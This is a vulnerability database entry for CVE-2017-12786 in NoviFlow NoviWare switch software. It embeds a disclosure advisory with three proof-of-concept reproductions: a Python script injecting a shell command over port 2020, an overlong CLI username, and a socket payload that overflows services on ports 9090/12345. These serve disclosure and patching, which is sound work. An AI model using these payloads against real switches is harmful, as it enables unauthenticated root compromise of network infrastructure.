VAR-201708-1146
Vulnerability from variot - Updated: 2025-04-20 23:04Network interfaces of the cliengine and noviengine services, included in the NoviWare software distribution through NW400.2.6 and deployed on NoviSwitch devices, can be inadvertently exposed if an operator attempts to modify ACLs, because of a bug when ACL modifications are applied. This could be leveraged by remote, unauthenticated attackers to gain resultant privileged (root) code execution on the switch, because there is a stack-based buffer overflow during unserialization of packet data. NoviWare Contains a buffer error vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. NoviFlowNoviWare and NoviSwitchdevices are products of NoviFlow Canada. NoviSwitchdevices is a series of switch devices. NoviWare is the switch software used in it. A stack buffer overflow vulnerability exists in the NoviFlowNoviWareNW400.2.6 and earlier versions and the Network interface for the cliengine and noviengine services in the NoviSwitch device. A remote attacker could exploit the vulnerability to execute code with root privileges. NoviFlow NoviWare <= NW400.2.6 multiple vulnerabilities
Introduction
NoviWare is a high-performance OpenFlow 1.3, 1.4 and 1.5 compliant switch software developed by NoviFlow and available for license to network equipment manufacturers. Multiple vulnerabilities were identified in the NoviWare software deployed on NoviSwitch devices.
CVEs
-
CVE-2017-12784: remote code execution in novi_process_manager_daemon Indicative CVSS v2 base score: 7.6 (AV:N/AC:H/Au:N/C:C/I:C/A:C)
-
CVE-2017-12785: cli breakout in novish Indicative CVSS v2 base score: 6.8 (AV:L/AC:L/Au:S/C:C/I:C/A:C)
-
CVE-2017-12786: remote code execution in noviengine and cliengine Indicative CVSS v2 base score: 7.6 (AV:N/AC:H/Au:N/C:C/I:C/A:C)
Affected versions
NoviWare <= NW400.2.6 and devices where a vulnerable NoviWare version is deployed
Author
FranASSois Goichon - Google Security Team
CVE-2017-12784
Remote code execution in novi_process_manager_daemon
Summary
The NoviWare switching software distribution is prone to two distinct bugs which could potentially allow a remote, unauthenticated attacker to gain privileged (root) code execution on the switch device. - A flaw when applying ACL changes requested from the CLI could expose the novi_process_manager_daemon network service - This network service is prone to command injection and a stack-based buffer overflow
Reproduction
If TCP port 2020 is accepting connections from the network, the following python script can be used to ping yourself on vulnerable versions :
from struct import pack import socket
s = socket.socket() s.connect((, 2020))
payload = pack("<I", 0xffffffff).ljust(0x24) + "ping ; echo\x00" s.sendall(pack("<II", 1, len(payload)+8)) s.sendall(payload)
s.close()
On vulnerable versions, the appliance will perform an ICMP request to the specified IP, which can be observed in network logs.
Remediation
- Upgrade to NoviWare400 3.0 or later.
- NoviFlow customers should have received instructions on how to get the latest release along with release notes. For more information, contact support@noviflow.com.
CVE-2017-12785
Cli breakout in novish
Summary
The NoviWare switching software distribution is prone to a buffer overflow and a command injection, allowing authenticated, low-privileged users to break out of the CLI and execute commands as root.
Reproduction
Log in to the appliance via SSH and run the following command from the CLI:
noviswitch# show log cli username AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA --
If the appliance is vulnerable, the cli crashes and the session ends.
Remediation
- Upgrade to NoviWare400 3.0 or later.
- NoviFlow customers should have received instructions on how to get the latest release along with release notes. For more information, contact support@noviflow.com.
- A flaw when applying ACL changes requested from the CLI could expose noviengine and cliengine network services
- These network services are prone to a stack-based buffer overflow when unpacking serialized values.
Reproduction
If TCP ports 9090 or 12345 are accepting connections from the network, the following python script can be used to cause a crash on vulnerable versions :
from struct import pack import socket
s = socket.socket() s.connect((, <9090 or 12345>))
payload = "".join([pack("<I", 4) + "AAAA" for i in xrange(408)]) payload = pack("<IIQ", 0, len(payload) + 16, 0) + payload s.sendall(payload)
s.read(1) s.close()
A watchdog should restart the service if it has crashed.
Remediation
- Upgrade to NoviWare400 3.0 or later.
- NoviFlow customers should have received instructions on how to get the latest release along with release notes. For more information, contact support@noviflow.com.
Disclosure timeline
2017/05/11 - Report sent to NoviFlow 2017/05/26 - Bugs acknowledged and remediation timeline confirmed 2017/07/27 - NoviWare400 3.0 release fixes all the above vulnerabilities 2017/08/09 - CVE requests 2017/08/16 - Public disclosure
Show details on source website{
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
"affected_products": {
"@id": "https://www.variotdbs.pl/ref/affected_products"
},
"configurations": {
"@id": "https://www.variotdbs.pl/ref/configurations"
},
"credits": {
"@id": "https://www.variotdbs.pl/ref/credits"
},
"cvss": {
"@id": "https://www.variotdbs.pl/ref/cvss/"
},
"description": {
"@id": "https://www.variotdbs.pl/ref/description/"
},
"exploit_availability": {
"@id": "https://www.variotdbs.pl/ref/exploit_availability/"
},
"external_ids": {
"@id": "https://www.variotdbs.pl/ref/external_ids/"
},
"iot": {
"@id": "https://www.variotdbs.pl/ref/iot/"
},
"iot_taxonomy": {
"@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
},
"patch": {
"@id": "https://www.variotdbs.pl/ref/patch/"
},
"problemtype_data": {
"@id": "https://www.variotdbs.pl/ref/problemtype_data/"
},
"references": {
"@id": "https://www.variotdbs.pl/ref/references/"
},
"sources": {
"@id": "https://www.variotdbs.pl/ref/sources/"
},
"sources_release_date": {
"@id": "https://www.variotdbs.pl/ref/sources_release_date/"
},
"sources_update_date": {
"@id": "https://www.variotdbs.pl/ref/sources_update_date/"
},
"threat_type": {
"@id": "https://www.variotdbs.pl/ref/threat_type/"
},
"title": {
"@id": "https://www.variotdbs.pl/ref/title/"
},
"type": {
"@id": "https://www.variotdbs.pl/ref/type/"
}
},
"@id": "https://www.variotdbs.pl/vuln/VAR-201708-1146",
"affected_products": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/affected_products#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"model": "noviware",
"scope": "lte",
"trust": 1.0,
"vendor": "noviflow",
"version": "400.2.6"
},
{
"model": "noviware",
"scope": "lte",
"trust": 0.8,
"vendor": "noviflow",
"version": "nw400.2.6"
},
{
"model": "noviware \u003c=nw400.2.6",
"scope": null,
"trust": 0.6,
"vendor": "noviflow",
"version": null
},
{
"model": "noviware",
"scope": "eq",
"trust": 0.6,
"vendor": "noviflow",
"version": "400.2.6"
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2017-29532"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-007314"
},
{
"db": "CNNVD",
"id": "CNNVD-201708-458"
},
{
"db": "NVD",
"id": "CVE-2017-12786"
}
]
},
"configurations": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/configurations#",
"children": {
"@container": "@list"
},
"cpe_match": {
"@container": "@list"
},
"data": {
"@container": "@list"
},
"nodes": {
"@container": "@list"
}
},
"data": [
{
"CVE_data_version": "4.0",
"nodes": [
{
"cpe_match": [
{
"cpe22Uri": "cpe:/a:noviflow:noviware",
"vulnerable": true
}
],
"operator": "OR"
}
]
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2017-007314"
}
]
},
"credits": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/credits#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "Francois Goichon",
"sources": [
{
"db": "PACKETSTORM",
"id": "143818"
}
],
"trust": 0.1
},
"cve": "CVE-2017-12786",
"cvss": {
"@context": {
"cvssV2": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
},
"cvssV3": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
},
"severity": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/cvss/severity#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/severity"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"cvssV2": [
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "nvd@nist.gov",
"availabilityImpact": "COMPLETE",
"baseScore": 10.0,
"confidentialityImpact": "COMPLETE",
"exploitabilityScore": 10.0,
"id": "CVE-2017-12786",
"impactScore": 10.0,
"integrityImpact": "COMPLETE",
"severity": "HIGH",
"trust": 1.9,
"vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C",
"version": "2.0"
},
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "CNVD",
"availabilityImpact": "COMPLETE",
"baseScore": 10.0,
"confidentialityImpact": "COMPLETE",
"exploitabilityScore": 10.0,
"id": "CNVD-2017-29532",
"impactScore": 10.0,
"integrityImpact": "COMPLETE",
"severity": "HIGH",
"trust": 0.6,
"vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C",
"version": "2.0"
}
],
"cvssV3": [
{
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"author": "nvd@nist.gov",
"availabilityImpact": "HIGH",
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"exploitabilityScore": 3.9,
"id": "CVE-2017-12786",
"impactScore": 5.9,
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"trust": 1.8,
"userInteraction": "NONE",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.0"
}
],
"severity": [
{
"author": "nvd@nist.gov",
"id": "CVE-2017-12786",
"trust": 1.0,
"value": "CRITICAL"
},
{
"author": "NVD",
"id": "CVE-2017-12786",
"trust": 0.8,
"value": "Critical"
},
{
"author": "CNVD",
"id": "CNVD-2017-29532",
"trust": 0.6,
"value": "HIGH"
},
{
"author": "CNNVD",
"id": "CNNVD-201708-458",
"trust": 0.6,
"value": "CRITICAL"
},
{
"author": "VULMON",
"id": "CVE-2017-12786",
"trust": 0.1,
"value": "HIGH"
}
]
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2017-29532"
},
{
"db": "VULMON",
"id": "CVE-2017-12786"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-007314"
},
{
"db": "CNNVD",
"id": "CNNVD-201708-458"
},
{
"db": "NVD",
"id": "CVE-2017-12786"
}
]
},
"description": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/description#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "Network interfaces of the cliengine and noviengine services, included in the NoviWare software distribution through NW400.2.6 and deployed on NoviSwitch devices, can be inadvertently exposed if an operator attempts to modify ACLs, because of a bug when ACL modifications are applied. This could be leveraged by remote, unauthenticated attackers to gain resultant privileged (root) code execution on the switch, because there is a stack-based buffer overflow during unserialization of packet data. NoviWare Contains a buffer error vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. NoviFlowNoviWare and NoviSwitchdevices are products of NoviFlow Canada. NoviSwitchdevices is a series of switch devices. NoviWare is the switch software used in it. A stack buffer overflow vulnerability exists in the NoviFlowNoviWareNW400.2.6 and earlier versions and the Network interface for the cliengine and noviengine services in the NoviSwitch device. A remote attacker could exploit the vulnerability to execute code with root privileges. NoviFlow NoviWare \u003c= NW400.2.6 multiple vulnerabilities\n\n\nIntroduction\n==========\nNoviWare is a high-performance OpenFlow 1.3, 1.4 and 1.5 compliant\nswitch software developed by NoviFlow and available for license to\nnetwork equipment manufacturers. \nMultiple vulnerabilities were identified in the NoviWare software\ndeployed on NoviSwitch devices. \n\n\nCVEs\n=====\n* CVE-2017-12784: remote code execution in novi_process_manager_daemon\nIndicative CVSS v2 base score: 7.6 (AV:N/AC:H/Au:N/C:C/I:C/A:C)\n\n* CVE-2017-12785: cli breakout in novish\nIndicative CVSS v2 base score: 6.8 (AV:L/AC:L/Au:S/C:C/I:C/A:C)\n\n* CVE-2017-12786: remote code execution in noviengine and cliengine\nIndicative CVSS v2 base score: 7.6 (AV:N/AC:H/Au:N/C:C/I:C/A:C)\n\n\nAffected versions\n==============\nNoviWare \u003c= NW400.2.6 and devices where a vulnerable NoviWare version\nis deployed\n\n\nAuthor\n======\nFranASSois Goichon - Google Security Team\n\n\nCVE-2017-12784\n==============\nRemote code execution in novi_process_manager_daemon\n\nSummary\n-------------\nThe NoviWare switching software distribution is prone to two distinct\nbugs which could potentially allow a remote, unauthenticated attacker\nto gain privileged (root) code execution on the switch device. \n- A flaw when applying ACL changes requested from the CLI could expose\nthe novi_process_manager_daemon network service\n- This network service is prone to command injection and a stack-based\nbuffer overflow\n\nReproduction\n------------------\nIf TCP port 2020 is accepting connections from the network, the\nfollowing python script can be used to ping yourself on vulnerable\nversions :\n---\nfrom struct import pack\nimport socket\n\ns = socket.socket()\ns.connect((\u003cswitch host\u003e, 2020))\n\npayload = pack(\"\u003cI\", 0xffffffff).ljust(0x24) + \"ping \u003cyour ip\u003e; echo\\x00\"\ns.sendall(pack(\"\u003cII\", 1, len(payload)+8))\ns.sendall(payload)\n\ns.close()\n---\n\nOn vulnerable versions, the appliance will perform an ICMP request to\nthe specified IP, which can be observed in network logs. \n\nRemediation\n-----------------\n- Upgrade to NoviWare400 3.0 or later. \n- NoviFlow customers should have received instructions on how to get\nthe latest release along with release notes. For more information,\ncontact support@noviflow.com. \n\n\nCVE-2017-12785\n==============\nCli breakout in novish\n\nSummary\n-------------\nThe NoviWare switching software distribution is prone to a buffer\noverflow and a command injection, allowing authenticated,\nlow-privileged users to break out of the CLI and execute commands as\nroot. \n\nReproduction\n------------------\nLog in to the appliance via SSH and run the following command from the CLI:\n--\nnoviswitch# show log cli username\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n--\n\nIf the appliance is vulnerable, the cli crashes and the session ends. \n\nRemediation\n-----------------\n- Upgrade to NoviWare400 3.0 or later. \n- NoviFlow customers should have received instructions on how to get\nthe latest release along with release notes. For more information,\ncontact support@noviflow.com. \n- A flaw when applying ACL changes requested from the CLI could expose\nnoviengine and cliengine network services\n- These network services are prone to a stack-based buffer overflow\nwhen unpacking serialized values. \n\nReproduction\n------------------\nIf TCP ports 9090 or 12345 are accepting connections from the network,\nthe following python script can be used to cause a crash on vulnerable\nversions :\n---\nfrom struct import pack\nimport socket\n\ns = socket.socket()\ns.connect((\u003cswitch host\u003e, \u003c9090 or 12345\u003e))\n\npayload = \"\".join([pack(\"\u003cI\", 4) + \"AAAA\" for i in xrange(408)])\npayload = pack(\"\u003cIIQ\", 0, len(payload) + 16, 0) + payload\ns.sendall(payload)\n\ns.read(1)\ns.close()\n---\n\nA watchdog should restart the service if it has crashed. \n\nRemediation\n-----------------\n- Upgrade to NoviWare400 3.0 or later. \n- NoviFlow customers should have received instructions on how to get\nthe latest release along with release notes. For more information,\ncontact support@noviflow.com. \n\n\nDisclosure timeline\n===============\n2017/05/11 - Report sent to NoviFlow\n2017/05/26 - Bugs acknowledged and remediation timeline confirmed\n2017/07/27 - NoviWare400 3.0 release fixes all the above vulnerabilities\n2017/08/09 - CVE requests\n2017/08/16 - Public disclosure\n\n\n",
"sources": [
{
"db": "NVD",
"id": "CVE-2017-12786"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-007314"
},
{
"db": "CNVD",
"id": "CNVD-2017-29532"
},
{
"db": "VULMON",
"id": "CVE-2017-12786"
},
{
"db": "PACKETSTORM",
"id": "143818"
}
],
"trust": 2.34
},
"exploit_availability": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/exploit_availability#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"reference": "https://vulmon.com/exploitdetails?qidtp=exploitdb\u0026qid=42518",
"trust": 0.1,
"type": "exploit"
}
],
"sources": [
{
"db": "VULMON",
"id": "CVE-2017-12786"
}
]
},
"external_ids": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/external_ids#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"db": "NVD",
"id": "CVE-2017-12786",
"trust": 3.2
},
{
"db": "EXPLOIT-DB",
"id": "42518",
"trust": 3.1
},
{
"db": "JVNDB",
"id": "JVNDB-2017-007314",
"trust": 0.8
},
{
"db": "EXPLOITDB",
"id": "42518",
"trust": 0.6
},
{
"db": "CNVD",
"id": "CNVD-2017-29532",
"trust": 0.6
},
{
"db": "CNNVD",
"id": "CNNVD-201708-458",
"trust": 0.6
},
{
"db": "VULMON",
"id": "CVE-2017-12786",
"trust": 0.1
},
{
"db": "PACKETSTORM",
"id": "143818",
"trust": 0.1
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2017-29532"
},
{
"db": "VULMON",
"id": "CVE-2017-12786"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-007314"
},
{
"db": "PACKETSTORM",
"id": "143818"
},
{
"db": "CNNVD",
"id": "CNNVD-201708-458"
},
{
"db": "NVD",
"id": "CVE-2017-12786"
}
]
},
"id": "VAR-201708-1146",
"iot": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": true,
"sources": [
{
"db": "CNVD",
"id": "CNVD-2017-29532"
}
],
"trust": 0.92692307
},
"iot_taxonomy": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot_taxonomy#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"category": [
"Network device"
],
"sub_category": null,
"trust": 0.6
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2017-29532"
}
]
},
"last_update_date": "2025-04-20T23:04:26.261000Z",
"patch": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/patch#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"title": "NoviWare",
"trust": 0.8,
"url": "https://noviflow.com/products/noviware/"
},
{
"title": "Patch for NoviFlowNoviWare and NoviSwitch Device Stack Buffer Overflow Vulnerabilities",
"trust": 0.6,
"url": "https://www.cnvd.org.cn/patchInfo/show/103389"
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2017-29532"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-007314"
}
]
},
"problemtype_data": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"problemtype": "CWE-119",
"trust": 1.8
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2017-007314"
},
{
"db": "NVD",
"id": "CVE-2017-12786"
}
]
},
"references": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/references#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"trust": 3.2,
"url": "https://www.exploit-db.com/exploits/42518/"
},
{
"trust": 0.9,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-12786"
},
{
"trust": 0.8,
"url": "http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2017-12786"
},
{
"trust": 0.1,
"url": "https://cwe.mitre.org/data/definitions/119.html"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-12787"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-12785"
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2017-29532"
},
{
"db": "VULMON",
"id": "CVE-2017-12786"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-007314"
},
{
"db": "PACKETSTORM",
"id": "143818"
},
{
"db": "CNNVD",
"id": "CNNVD-201708-458"
},
{
"db": "NVD",
"id": "CVE-2017-12786"
}
]
},
"sources": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#",
"data": {
"@container": "@list"
}
},
"data": [
{
"db": "CNVD",
"id": "CNVD-2017-29532"
},
{
"db": "VULMON",
"id": "CVE-2017-12786"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-007314"
},
{
"db": "PACKETSTORM",
"id": "143818"
},
{
"db": "CNNVD",
"id": "CNNVD-201708-458"
},
{
"db": "NVD",
"id": "CVE-2017-12786"
}
]
},
"sources_release_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2017-10-11T00:00:00",
"db": "CNVD",
"id": "CNVD-2017-29532"
},
{
"date": "2017-08-22T00:00:00",
"db": "VULMON",
"id": "CVE-2017-12786"
},
{
"date": "2017-09-19T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2017-007314"
},
{
"date": "2017-08-18T23:44:44",
"db": "PACKETSTORM",
"id": "143818"
},
{
"date": "2017-08-11T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201708-458"
},
{
"date": "2017-08-22T17:29:00.240000",
"db": "NVD",
"id": "CVE-2017-12786"
}
]
},
"sources_update_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2017-10-11T00:00:00",
"db": "CNVD",
"id": "CNVD-2017-29532"
},
{
"date": "2017-08-29T00:00:00",
"db": "VULMON",
"id": "CVE-2017-12786"
},
{
"date": "2017-09-19T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2017-007314"
},
{
"date": "2017-08-23T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201708-458"
},
{
"date": "2025-04-20T01:37:25.860000",
"db": "NVD",
"id": "CVE-2017-12786"
}
]
},
"threat_type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/threat_type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "remote",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201708-458"
}
],
"trust": 0.6
},
"title": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/title#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "NoviWare Buffer error vulnerability",
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2017-007314"
}
],
"trust": 0.8
},
"type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "buffer overflow",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201708-458"
}
],
"trust": 0.6
}
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.